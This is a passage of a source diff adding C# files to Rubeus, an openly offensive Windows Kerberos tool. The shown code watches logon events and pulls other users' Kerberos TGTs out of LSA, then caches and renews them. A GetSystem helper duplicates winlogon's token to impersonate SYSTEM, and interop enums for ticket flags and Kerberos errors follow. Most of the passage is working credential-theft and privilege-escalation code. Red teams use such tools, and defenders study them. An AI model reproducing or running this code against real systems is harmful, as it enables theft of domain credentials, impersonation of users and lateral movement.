Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
|
||||||
|
|
||||||
|
var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
|
||||||
|
Match match2 = expression2.Match(message);
|
||||||
|
|
||||||
|
if (match2.Success)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// check if we've seen this LUID before
|
||||||
|
UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
|
||||||
|
if (!seenLUIDs.ContainsKey(luid))
|
||||||
|
{
|
||||||
|
seenLUIDs[luid] = true;
|
||||||
|
// if we haven't seen it, extract any TGTs for that particular logon ID and add to the cache
|
||||||
|
List<KRB_CRED> newCreds = LSA.ExtractTGTs(luid);
|
||||||
|
creds.AddRange(newCreds);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Exception: {0}", e.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for(int i = creds.Count - 1; i >= 0; i--)
|
||||||
|
{
|
||||||
|
DateTime endTime = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].endtime);
|
||||||
|
DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].renew_till);
|
||||||
|
|
||||||
|
// check if the ticket is going to expire before the next interval checkin
|
||||||
|
if (endTime < DateTime.Now.AddMinutes(intervalMinutes))
|
||||||
|
{
|
||||||
|
// check if the ticket's renewal limit will be valid within the next interval
|
||||||
|
if (renewTill < DateTime.Now.AddMinutes(intervalMinutes))
|
||||||
|
{
|
||||||
|
// renewal limit under checkin interval, so remove the ticket from the cache
|
||||||
|
creds.RemoveAt(i);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// renewal limit after checkin interval, so renew the TGT
|
||||||
|
string userName = creds[i].enc_part.ticket_info[0].pname.name_string[0];
|
||||||
|
string domainName = creds[i].enc_part.ticket_info[0].prealm;
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Renewing TGT for {0}@{1}", userName, domainName);
|
||||||
|
byte[] bytes = Renew.TGT(creds[i], false, "", false);
|
||||||
|
KRB_CRED renewedCred = new KRB_CRED(bytes);
|
||||||
|
creds[i] = renewedCred;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
|
||||||
|
LSA.DisplayTGTs(creds);
|
||||||
|
|
||||||
|
System.Threading.Thread.Sleep(intervalMinutes * 60 * 1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Monitor4624(int intervalSeconds, string targetUser)
|
||||||
|
{
|
||||||
|
// monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
|
||||||
|
// logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.
|
||||||
|
|
||||||
|
if (!Helpers.IsHighIntegrity())
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// used to keep track of LUIDs we've already dumped
|
||||||
|
var seenLUIDs = new Dictionary<UInt32, bool>();
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Action: TGT Monitoring");
|
||||||
|
Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);
|
||||||
|
|
||||||
|
if (!String.IsNullOrEmpty(targetUser))
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Target user : {0}", targetUser);
|
||||||
|
targetUser = targetUser.Replace("$", "\\$");
|
||||||
|
}
|
||||||
|
Console.WriteLine();
|
||||||
|
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
// check for 4624 logon events in the past "intervalSeconds"
|
||||||
|
string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalSeconds * 1000);
|
||||||
|
EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
|
||||||
|
EventLogReader logReader = new EventLogReader(eventsQuery);
|
||||||
|
|
||||||
|
for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
// if there's an event, extract out the logon ID (LUID) for the session
|
||||||
|
string eventMessage = eventInstance.FormatDescription();
|
||||||
|
DateTime eventTime = (DateTime)eventInstance.TimeCreated;
|
||||||
|
|
||||||
|
int startIndex = eventMessage.IndexOf("New Logon:");
|
||||||
|
string message = eventMessage.Substring(startIndex);
|
||||||
|
|
||||||
|
// extract out relevant information from the event log message
|
||||||
|
var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
|
||||||
|
Match acctNameMatch = acctNameExpression.Match(message);
|
||||||
|
var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
|
||||||
|
Match acctDomainMatch = acctDomainExpression.Match(message);
|
||||||
|
|
||||||
|
if (acctNameMatch.Success)
|
||||||
|
{
|
||||||
|
var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
|
||||||
|
Match srcNetworkMatch = srcNetworkExpression.Match(message);
|
||||||
|
|
||||||
|
string logonName = acctNameMatch.Groups["name"].Value;
|
||||||
|
string accountDomain = "";
|
||||||
|
string srcNetworkAddress = "";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
accountDomain = acctDomainMatch.Groups["domain"].Value;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
// ignore SYSTEM logons and other defaults
|
||||||
|
if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
|
||||||
|
// filter if we're targeting a specific user
|
||||||
|
if (String.IsNullOrEmpty(targetUser) || (Regex.IsMatch(logonName, targetUser, RegexOptions.IgnoreCase)))
|
||||||
|
{
|
||||||
|
var expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
|
||||||
|
Match match2 = expression2.Match(message);
|
||||||
|
|
||||||
|
if (match2.Success)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// check if we've seen this LUID before
|
||||||
|
UInt32 luid = Convert.ToUInt32(match2.Groups["id"].Value, 16);
|
||||||
|
if (!seenLUIDs.ContainsKey(luid))
|
||||||
|
{
|
||||||
|
seenLUIDs[luid] = true;
|
||||||
|
// if we haven't seen it, extract any TGTs for that particular logon ID
|
||||||
|
LSA.ListKerberosTicketData(luid, "krbtgt", true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Exception: {0}", e.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.Threading.Thread.Sleep(intervalSeconds * 1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,126 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Security.Principal;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Helpers
|
||||||
|
{
|
||||||
|
public static IEnumerable<string> Split(string text, int partLength)
|
||||||
|
{
|
||||||
|
// splits a string into partLength parts
|
||||||
|
if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); }
|
||||||
|
if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); }
|
||||||
|
|
||||||
|
var partCount = Math.Ceiling((double)text.Length / partLength);
|
||||||
|
if (partCount < 2)
|
||||||
|
{
|
||||||
|
yield return text;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < partCount; i++)
|
||||||
|
{
|
||||||
|
var index = i * partLength;
|
||||||
|
var lengthLeft = Math.Min(partLength, text.Length - index);
|
||||||
|
var line = text.Substring(index, lengthLeft);
|
||||||
|
yield return line;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Random random = new Random();
|
||||||
|
public static string RandomString(int length)
|
||||||
|
{
|
||||||
|
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||||
|
return new string(Enumerable.Repeat(chars, length)
|
||||||
|
.Select(s => s[random.Next(s.Length)]).ToArray());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IsBase64String(string s)
|
||||||
|
{
|
||||||
|
s = s.Trim();
|
||||||
|
return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IsHighIntegrity()
|
||||||
|
{
|
||||||
|
// returns true if the current process is running with adminstrative privs in a high integrity context
|
||||||
|
WindowsIdentity identity = WindowsIdentity.GetCurrent();
|
||||||
|
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||||
|
return principal.IsInRole(WindowsBuiltInRole.Administrator);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool GetSystem()
|
||||||
|
{
|
||||||
|
// helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation
|
||||||
|
if (IsHighIntegrity())
|
||||||
|
{
|
||||||
|
IntPtr hToken = IntPtr.Zero;
|
||||||
|
|
||||||
|
// Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
|
||||||
|
Process[] processes = Process.GetProcessesByName("winlogon");
|
||||||
|
IntPtr handle = processes[0].Handle;
|
||||||
|
|
||||||
|
// TOKEN_DUPLICATE = 0x0002
|
||||||
|
bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
|
||||||
|
if (!success)
|
||||||
|
{
|
||||||
|
//Console.WriteLine("OpenProcessToken failed!");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// make a copy of the NT AUTHORITY\SYSTEM token from winlogon
|
||||||
|
// 2 == SecurityImpersonation
|
||||||
|
IntPtr hDupToken = IntPtr.Zero;
|
||||||
|
success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
|
||||||
|
if (!success)
|
||||||
|
{
|
||||||
|
//Console.WriteLine("DuplicateToken failed!");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
success = Interop.ImpersonateLoggedOnUser(hDupToken);
|
||||||
|
if (!success)
|
||||||
|
{
|
||||||
|
//Console.WriteLine("ImpersonateLoggedOnUser failed!");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// clean up the handles we created
|
||||||
|
Interop.CloseHandle(hToken);
|
||||||
|
Interop.CloseHandle(hDupToken);
|
||||||
|
|
||||||
|
string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
||||||
|
if (name != "NT AUTHORITY\\SYSTEM")
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] StringToByteArray(string hex)
|
||||||
|
{
|
||||||
|
// converts a rc4/AES/etc. string into a byte array representation
|
||||||
|
|
||||||
|
if ((hex.Length % 32) != 0)
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Hash must be 32 or 64 characters in length\r\n");
|
||||||
|
System.Environment.Exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// yes I know this inefficient
|
||||||
|
return Enumerable.Range(0, hex.Length)
|
||||||
|
.Where(x => x % 2 == 0)
|
||||||
|
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
|
||||||
|
.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,957 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Interop
|
||||||
|
{
|
||||||
|
// Enums
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum TicketFlags : UInt32
|
||||||
|
{
|
||||||
|
reserved = 2147483648,
|
||||||
|
forwardable = 0x40000000,
|
||||||
|
forwarded = 0x20000000,
|
||||||
|
proxiable = 0x10000000,
|
||||||
|
proxy = 0x08000000,
|
||||||
|
may_postdate = 0x04000000,
|
||||||
|
postdated = 0x02000000,
|
||||||
|
invalid = 0x01000000,
|
||||||
|
renewable = 0x00800000,
|
||||||
|
initial = 0x00400000,
|
||||||
|
pre_authent = 0x00200000,
|
||||||
|
hw_authent = 0x00100000,
|
||||||
|
ok_as_delegate = 0x00040000,
|
||||||
|
name_canonicalize = 0x00010000,
|
||||||
|
//cname_in_pa_data = 0x00040000,
|
||||||
|
enc_pa_rep = 0x00010000,
|
||||||
|
reserved1 = 0x00000001
|
||||||
|
// TODO: constrained delegation?
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO: order flipped? https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/KerberosV5Spec2.asn#L167-L190
|
||||||
|
[Flags]
|
||||||
|
public enum KdcOptions : uint
|
||||||
|
{
|
||||||
|
VALIDATE = 0x00000001,
|
||||||
|
RENEW = 0x00000002,
|
||||||
|
UNUSED29 = 0x00000004,
|
||||||
|
ENCTKTINSKEY = 0x00000008,
|
||||||
|
RENEWABLEOK = 0x00000010,
|
||||||
|
DISABLETRANSITEDCHECK = 0x00000020,
|
||||||
|
UNUSED16 = 0x0000FFC0,
|
||||||
|
CANONICALIZE = 0x00010000,
|
||||||
|
CNAMEINADDLTKT = 0x00020000,
|
||||||
|
OK_AS_DELEGATE = 0x00040000,
|
||||||
|
UNUSED12 = 0x00080000,
|
||||||
|
OPTHARDWAREAUTH = 0x00100000,
|
||||||
|
PREAUTHENT = 0x00200000,
|
||||||
|
INITIAL = 0x00400000,
|
||||||
|
RENEWABLE = 0x00800000,
|
||||||
|
UNUSED7 = 0x01000000,
|
||||||
|
POSTDATED = 0x02000000,
|
||||||
|
ALLOWPOSTDATE = 0x04000000,
|
||||||
|
PROXY = 0x08000000,
|
||||||
|
PROXIABLE = 0x10000000,
|
||||||
|
FORWARDED = 0x20000000,
|
||||||
|
FORWARDABLE = 0x40000000,
|
||||||
|
RESERVED = 0x80000000
|
||||||
|
}
|
||||||
|
|
||||||
|
// from https://tools.ietf.org/html/rfc3961
|
||||||
|
public enum KERB_ETYPE : UInt32
|
||||||
|
{
|
||||||
|
des_cbc_crc = 1,
|
||||||
|
des_cbc_md4 = 2,
|
||||||
|
des_cbc_md5 = 3,
|
||||||
|
des3_cbc_md5 = 5,
|
||||||
|
des3_cbc_sha1 = 7,
|
||||||
|
dsaWithSHA1_CmsOID = 9,
|
||||||
|
md5WithRSAEncryption_CmsOID = 10,
|
||||||
|
sha1WithRSAEncryption_CmsOID = 11,
|
||||||
|
rc2CBC_EnvOID = 12,
|
||||||
|
rsaEncryption_EnvOID = 13,
|
||||||
|
rsaES_OAEP_ENV_OID = 14,
|
||||||
|
des_ede3_cbc_Env_OID = 15,
|
||||||
|
des3_cbc_sha1_kd = 16,
|
||||||
|
aes128_cts_hmac_sha1 = 17,
|
||||||
|
aes256_cts_hmac_sha1 = 18,
|
||||||
|
rc4_hmac = 23,
|
||||||
|
rc4_hmac_exp = 24,
|
||||||
|
subkey_keymaterial = 65
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum KERB_CHECKSUM_ALGORITHM
|
||||||
|
{
|
||||||
|
KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15,
|
||||||
|
KERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16,
|
||||||
|
KERB_CHECKSUM_DES_MAC = -133,
|
||||||
|
KERB_CHECKSUM_HMAC_MD5 = -138,
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KERB_CHECKSUM
|
||||||
|
{
|
||||||
|
public int Type;
|
||||||
|
public int Size;
|
||||||
|
public int Flag;
|
||||||
|
public IntPtr Initialize;
|
||||||
|
public IntPtr Sum;
|
||||||
|
public IntPtr Finalize;
|
||||||
|
public IntPtr Finish;
|
||||||
|
public IntPtr InitializeEx;
|
||||||
|
public IntPtr unk0_null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// from https://github.com/ps4dev/freebsd-include-mirror/blob/master/krb5_asn1.h
|
||||||
|
public enum PADATA_TYPE : UInt32
|
||||||
|
{
|
||||||
|
NONE = 0,
|
||||||
|
TGS_REQ = 1,
|
||||||
|
AP_REQ = 1,
|
||||||
|
ENC_TIMESTAMP = 2,
|
||||||
|
PW_SALT = 3,
|
||||||
|
ENC_UNIX_TIME = 5,
|
||||||
|
SANDIA_SECUREID = 6,
|
||||||
|
SESAME = 7,
|
||||||
|
OSF_DCE = 8,
|
||||||
|
CYBERSAFE_SECUREID = 9,
|
||||||
|
AFS3_SALT = 10,
|
||||||
|
ETYPE_INFO = 11,
|
||||||
|
SAM_CHALLENGE = 12,
|
||||||
|
SAM_RESPONSE = 13,
|
||||||
|
PK_AS_REQ_19 = 14,
|
||||||
|
PK_AS_REP_19 = 15,
|
||||||
|
PK_AS_REQ_WIN = 15,
|
||||||
|
PK_AS_REQ = 16,
|
||||||
|
PK_AS_REP = 17,
|
||||||
|
PA_PK_OCSP_RESPONSE = 18,
|
||||||
|
ETYPE_INFO2 = 19,
|
||||||
|
USE_SPECIFIED_KVNO = 20,
|
||||||
|
SVR_REFERRAL_INFO = 20,
|
||||||
|
SAM_REDIRECT = 21,
|
||||||
|
GET_FROM_TYPED_DATA = 22,
|
||||||
|
SAM_ETYPE_INFO = 23,
|
||||||
|
SERVER_REFERRAL = 25,
|
||||||
|
TD_KRB_PRINCIPAL = 102,
|
||||||
|
PK_TD_TRUSTED_CERTIFIERS = 104,
|
||||||
|
PK_TD_CERTIFICATE_INDEX = 105,
|
||||||
|
TD_APP_DEFINED_ERROR = 106,
|
||||||
|
TD_REQ_NONCE = 107,
|
||||||
|
TD_REQ_SEQ = 108,
|
||||||
|
PA_PAC_REQUEST = 128,
|
||||||
|
S4U2SELF = 129,
|
||||||
|
PK_AS_09_BINDING = 132,
|
||||||
|
CLIENT_CANONICALIZED = 133
|
||||||
|
}
|
||||||
|
|
||||||
|
// adapted from https://github.com/skelsec/minikerberos/blob/master/minikerberos/kerberoserror.py#L18-L76
|
||||||
|
public enum KERBEROS_ERROR : UInt32
|
||||||
|
{
|
||||||
|
KDC_ERR_NONE = 0x0, //No error
|
||||||
|
KDC_ERR_NAME_EXP = 0x1, //Client's entry in KDC database has expired
|
||||||
|
KDC_ERR_SERVICE_EXP = 0x2, //Server's entry in KDC database has expired
|
||||||
|
KDC_ERR_BAD_PVNO = 0x3, //Requested Kerberos version number not supported
|
||||||
|
KDC_ERR_C_OLD_MAST_KVNO = 0x4, //Client's key encrypted in old master key
|
||||||
|
KDC_ERR_S_OLD_MAST_KVNO = 0x5, //Server's key encrypted in old master key
|
||||||
|
KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6, //Client not found in Kerberos database
|
||||||
|
KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7, //Server not found in Kerberos database
|
||||||
|
KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8, //Multiple principal entries in KDC database
|
||||||
|
KDC_ERR_NULL_KEY = 0x9, //The client or server has a null key (master key)
|
||||||
|
KDC_ERR_CANNOT_POSTDATE = 0xA, // Ticket (TGT) not eligible for postdating
|
||||||
|
KDC_ERR_NEVER_VALID = 0xB, // Requested start time is later than end time
|
||||||
|
KDC_ERR_POLICY = 0xC, //Requested start time is later than end time
|
||||||
|
KDC_ERR_BADOPTION = 0xD, //KDC cannot accommodate requested option
|
||||||
|
KDC_ERR_ETYPE_NOTSUPP = 0xE, // KDC has no support for encryption type
|
||||||
|
KDC_ERR_SUMTYPE_NOSUPP = 0xF, // KDC has no support for checksum type
|
||||||
|
KDC_ERR_PADATA_TYPE_NOSUPP = 0x10, //KDC has no support for PADATA type (pre-authentication data)
|
||||||
|
KDC_ERR_TRTYPE_NO_SUPP = 0x11, //KDC has no support for transited type
|
||||||
|
KDC_ERR_CLIENT_REVOKED = 0x12, // Client’s credentials have been revoked
|
||||||
|
KDC_ERR_SERVICE_REVOKED = 0x13, //Credentials for server have been revoked
|
||||||
|
KDC_ERR_TGT_REVOKED = 0x14, //TGT has been revoked
|
||||||
|
KDC_ERR_CLIENT_NOTYET = 0x15, // Client not yet valid—try again later
|
||||||
|
KDC_ERR_SERVICE_NOTYET = 0x16, //Server not yet valid—try again later
|
||||||
|
KDC_ERR_KEY_EXPIRED = 0x17, // Password has expired—change password to reset
|
||||||
|
KDC_ERR_PREAUTH_FAILED = 0x18, //Pre-authentication information was invalid
|
||||||
|
KDC_ERR_PREAUTH_REQUIRED = 0x19, // Additional preauthentication required
|
||||||
|
KDC_ERR_SERVER_NOMATCH = 0x1A, //KDC does not know about the requested server
|
||||||
|
KDC_ERR_SVC_UNAVAILABLE = 0x1B, // KDC is unavailable
|
||||||
|
KRB_AP_ERR_BAD_INTEGRITY = 0x1F, // Integrity check on decrypted field failed
|
||||||
|
KRB_AP_ERR_TKT_EXPIRED = 0x20, // The ticket has expired
|
||||||
|
KRB_AP_ERR_TKT_NYV = 0x21, //The ticket is not yet valid
|
||||||
|
KRB_AP_ERR_REPEAT = 0x22, // The request is a replay
|
||||||
|
KRB_AP_ERR_NOT_US = 0x23, //The ticket is not for us
|
||||||
|
KRB_AP_ERR_BADMATCH = 0x24, //The ticket and authenticator do not match
|
||||||
|
KRB_AP_ERR_SKEW = 0x25, // The clock skew is too great
|
||||||
|
KRB_AP_ERR_BADADDR = 0x26, // Network address in network layer header doesn't match address inside ticket
|
||||||
|
KRB_AP_ERR_BADVERSION = 0x27, // Protocol version numbers don't match (PVNO)
|
||||||
|
KRB_AP_ERR_MSG_TYPE = 0x28, // Message type is unsupported
|
||||||
|
KRB_AP_ERR_MODIFIED = 0x29, // Message stream modified and checksum didn't match
|
||||||
|
KRB_AP_ERR_BADORDER = 0x2A, // Message out of order (possible tampering)
|
||||||
|
KRB_AP_ERR_BADKEYVER = 0x2C, // Specified version of key is not available
|
||||||
|
KRB_AP_ERR_NOKEY = 0x2D, // Service key not available
|
||||||
|
KRB_AP_ERR_MUT_FAIL = 0x2E, // Mutual authentication failed
|
||||||
|
KRB_AP_ERR_BADDIRECTION = 0x2F, // Incorrect message direction
|
||||||
|
KRB_AP_ERR_METHOD = 0x30, // Alternative authentication method required
|
||||||
|
KRB_AP_ERR_BADSEQ = 0x31, // Incorrect sequence number in message
|
||||||
|
KRB_AP_ERR_INAPP_CKSUM = 0x32, // Inappropriate type of checksum in message (checksum may be unsupported)
|
||||||
|
KRB_AP_PATH_NOT_ACCEPTED = 0x33, // Desired path is unreachable
|
||||||
|
KRB_ERR_RESPONSE_TOO_BIG = 0x34, // Too much data
|
||||||
|
KRB_ERR_GENERIC = 0x3C, // Generic error; the description is in the e-data field
|
||||||
|
KRB_ERR_FIELD_TOOLONG = 0x3D, // Field is too long for this implementation
|
||||||
|
KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E, // The client trust failed or is not implemented
|
||||||
|
KDC_ERR_KDC_NOT_TRUSTED = 0x3F, // The KDC server trust failed or could not be verified
|
||||||
|
KDC_ERR_INVALID_SIG = 0x40, // The signature is invalid
|
||||||
|
KDC_ERR_KEY_TOO_WEAK = 0x41, //A higher encryption level is needed
|
||||||
|
KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42, // User-to-user authorization is required
|
||||||
|
KRB_AP_ERR_NO_TGT = 0x43, // No TGT was presented or available
|
||||||
|
KDC_ERR_WRONG_REALM = 0x44, //Incorrect domain or principal
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum DSGETDCNAME_FLAGS : uint
|
||||||
|
{
|
||||||
|
DS_FORCE_REDISCOVERY = 0x00000001,
|
||||||
|
DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,
|
||||||
|
DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,
|
||||||
|
DS_GC_SERVER_REQUIRED = 0x00000040,
|
||||||
|
DS_PDC_REQUIRED = 0x00000080,
|
||||||
|
DS_BACKGROUND_ONLY = 0x00000100,
|
||||||
|
DS_IP_REQUIRED = 0x00000200,
|
||||||
|
DS_KDC_REQUIRED = 0x00000400,
|
||||||
|
DS_TIMESERV_REQUIRED = 0x00000800,
|
||||||
|
DS_WRITABLE_REQUIRED = 0x00001000,
|
||||||
|
DS_GOOD_TIMESERV_PREFERRED = 0x00002000,
|
||||||
|
DS_AVOID_SELF = 0x00004000,
|
||||||
|
DS_ONLY_LDAP_NEEDED = 0x00008000,
|
||||||
|
DS_IS_FLAT_NAME = 0x00010000,
|
||||||
|
DS_IS_DNS_NAME = 0x00020000,
|
||||||
|
DS_RETURN_DNS_NAME = 0x40000000,
|
||||||
|
DS_RETURN_FLAT_NAME = 0x80000000
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum TOKEN_INFORMATION_CLASS
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_USER structure that contains the user account of the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenUser = 1,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_GROUPS structure that contains the group accounts associated with the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenGroups,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_PRIVILEGES structure that contains the privileges of the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenPrivileges,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_OWNER structure that contains the default owner security identifier (SID) for newly created objects.
|
||||||
|
/// </summary>
|
||||||
|
TokenOwner,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_PRIMARY_GROUP structure that contains the default primary group SID for newly created objects.
|
||||||
|
/// </summary>
|
||||||
|
TokenPrimaryGroup,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_DEFAULT_DACL structure that contains the default DACL for newly created objects.
|
||||||
|
/// </summary>
|
||||||
|
TokenDefaultDacl,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_SOURCE structure that contains the source of the token. TOKEN_QUERY_SOURCE access is needed to retrieve this information.
|
||||||
|
/// </summary>
|
||||||
|
TokenSource,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_TYPE value that indicates whether the token is a primary or impersonation token.
|
||||||
|
/// </summary>
|
||||||
|
TokenType,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a SECURITY_IMPERSONATION_LEVEL value that indicates the impersonation level of the token. If the access token is not an impersonation token, the function fails.
|
||||||
|
/// </summary>
|
||||||
|
TokenImpersonationLevel,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_STATISTICS structure that contains various token statistics.
|
||||||
|
/// </summary>
|
||||||
|
TokenStatistics,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_GROUPS structure that contains the list of restricting SIDs in a restricted token.
|
||||||
|
/// </summary>
|
||||||
|
TokenRestrictedSids,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a DWORD value that indicates the Terminal Services session identifier that is associated with the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenSessionId,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_GROUPS_AND_PRIVILEGES structure that contains the user SID, the group accounts, the restricted SIDs, and the authentication ID associated with the token.
|
||||||
|
/// </summary>
|
||||||
|
TokenGroupsAndPrivileges,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved.
|
||||||
|
/// </summary>
|
||||||
|
TokenSessionReference,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a DWORD value that is nonzero if the token includes the SANDBOX_INERT flag.
|
||||||
|
/// </summary>
|
||||||
|
TokenSandBoxInert,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved.
|
||||||
|
/// </summary>
|
||||||
|
TokenAuditPolicy,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The buffer receives a TOKEN_ORIGIN value.
|
||||||
|
/// </summary>
|
||||||
|
TokenOrigin,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
